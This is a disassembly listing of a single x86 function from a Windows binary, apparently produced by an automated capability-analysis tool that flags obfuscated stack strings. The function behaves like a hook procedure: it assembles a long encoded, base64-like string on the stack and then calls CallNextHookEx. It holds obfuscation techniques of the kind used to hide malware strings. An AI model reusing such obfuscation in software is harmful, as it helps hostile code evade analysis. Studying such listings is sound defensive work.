Function at 0x1002d9a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd58
mov eax, 0x1005d659
call fcn.1002ee90
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.10031710
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.10022ce6
push eax
lea ecx, [ebp - 0xc80]
call fcn.1001fd19
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1002dd6a
cmp dword [edi + 8], 0x4a
jne 0x1002dd6a
mov esi, dword [edi]
test esi, esi
je 0x1002dd6a
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1002dd5c
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
mov ecx, 0x30a
mov byte [ebp - 0xc84], bl
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xb53]
mov dword [ebp - 0xd54], 0x6a63444c
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xd50], 0x306b5742
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd4c], 0x6c414848
mov ecx, esp
mov dword [ebp - 0xd48], 0x36555846
lea eax, [ebp - 0xc86]
mov dword [ebp - 0xd44], 0x4f6b324e
mov dword [ebp - 0xd40], 0x7349534e
push dword [ebp - 0xc84]
mov dword [ebp - 0xd3c], 0x77734450
push eax
mov dword [ebp - 0xd38], 0x70344246
lea eax, [ebp - 0xd54]
mov dword [ebp - 0xd34], 0x2b746847
mov dword [ebp - 0xd30], 0x71357741
mov dword [ebp - 0xd2c], 0x4b677765
mov dword [ebp - 0xd28], 0x57676948
mov dword [ebp - 0xd24], 0x765a6842
mov dword [ebp - 0xd20], 0x4b737a4d
mov dword [ebp - 0xd1c], 0x2b4e7a4e
mov dword [ebp - 0xd18], 0x46345749
mov dword [ebp - 0xd14], 0x31347846
mov dword [ebp - 0xd10], 0x334e7750
mov dword [ebp - 0xd0c], 0x6a4e524a
mov dword [ebp - 0xd08], 0x6b4d6a46
mov dword [ebp - 0xd04], 0x696b4349
mov dword [ebp - 0xd00], 0x3063514d
mov dword [ebp - 0xcfc], 0x6e596d43
mov dword [ebp - 0xcf8], 0x37685143
mov dword [ebp - 0xcf4], 0x2f317859
mov dword [ebp - 0xcf0], 0x3041434e
mov dword [ebp - 0xcec], 0x4a734450
mov dword [ebp - 0xce8], 0x5955534d
mov dword [ebp - 0xce4], 0x706f7946
mov dword [ebp - 0xce0], 0x56386859
mov dword [ebp - 0xcdc], 0x616b544c
mov dword [ebp - 0xcd8], 0x67457945
mov dword [ebp - 0xcd4], 0x6c635343
mov dword [ebp - 0xcd0], 0x2f56434d
mov dword [ebp - 0xccc], 0x3178424d
mov dword [ebp - 0xcc8], 0x67734448
mov dword [ebp - 0xcc4], 0x37565766
mov dword [ebp - 0xcc0], 0x6c45434d
mov dword [ebp - 0xcbc], 0x30736962
mov dword [ebp - 0xcb8], 0x4b385147
mov dword [ebp - 0xcb4], 0x71567a66
mov dword [ebp - 0xcb0], 0x44347846
mov dword [ebp - 0xcac], 0x3159574a
mov dword [ebp - 0xca8], 0x5a4d6841
mov dword [ebp - 0xca4], 0x344e5350
mov dword [ebp - 0xca0], 0x32416d45
mov dword [ebp - 0xc9c], 0x674d324c
mov dword [ebp - 0xc98], 0x36497a61
mov dword [ebp - 0xc94], 0x63414148
mov dword [ebp - 0xc90], 0x51557a49
mov dword [ebp - 0xc8c], 0x41414141
mov word [ebp - 0xc88], 0x6769
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1001f4b3
lea eax, [ebp - 0xd64]
push eax
call fcn.1002232c
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1002c5fd
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.100227d5
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd64]
call fcn.1002c443
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.10031710
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1001fe92
lea ecx, [ebp - 0x50]
call fcn.1001ff61
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.10020e20
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10020e20
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.10020e20
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xc84], esp
push esi
call fcn.1001fe92
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1001fe04
mov byte [ebp - 4], 3
call fcn.100280d9
add esp, 0xc
call fcn.100394aa
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1002dd4f
lea eax, [ebp - 0x50]
push eax
call fcn.100269be
pop ecx
lea ecx, [ebp - 0x50]
call fcn.10020aaa
lea ecx, [esi - 0x10]
jmp 0x1002dd81
cmp eax, 0x4d835
jne 0x1002dd6a
push ebx
call fcn.1002ad8e
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.1002669c
call fcn.1002eddd
ret 0xc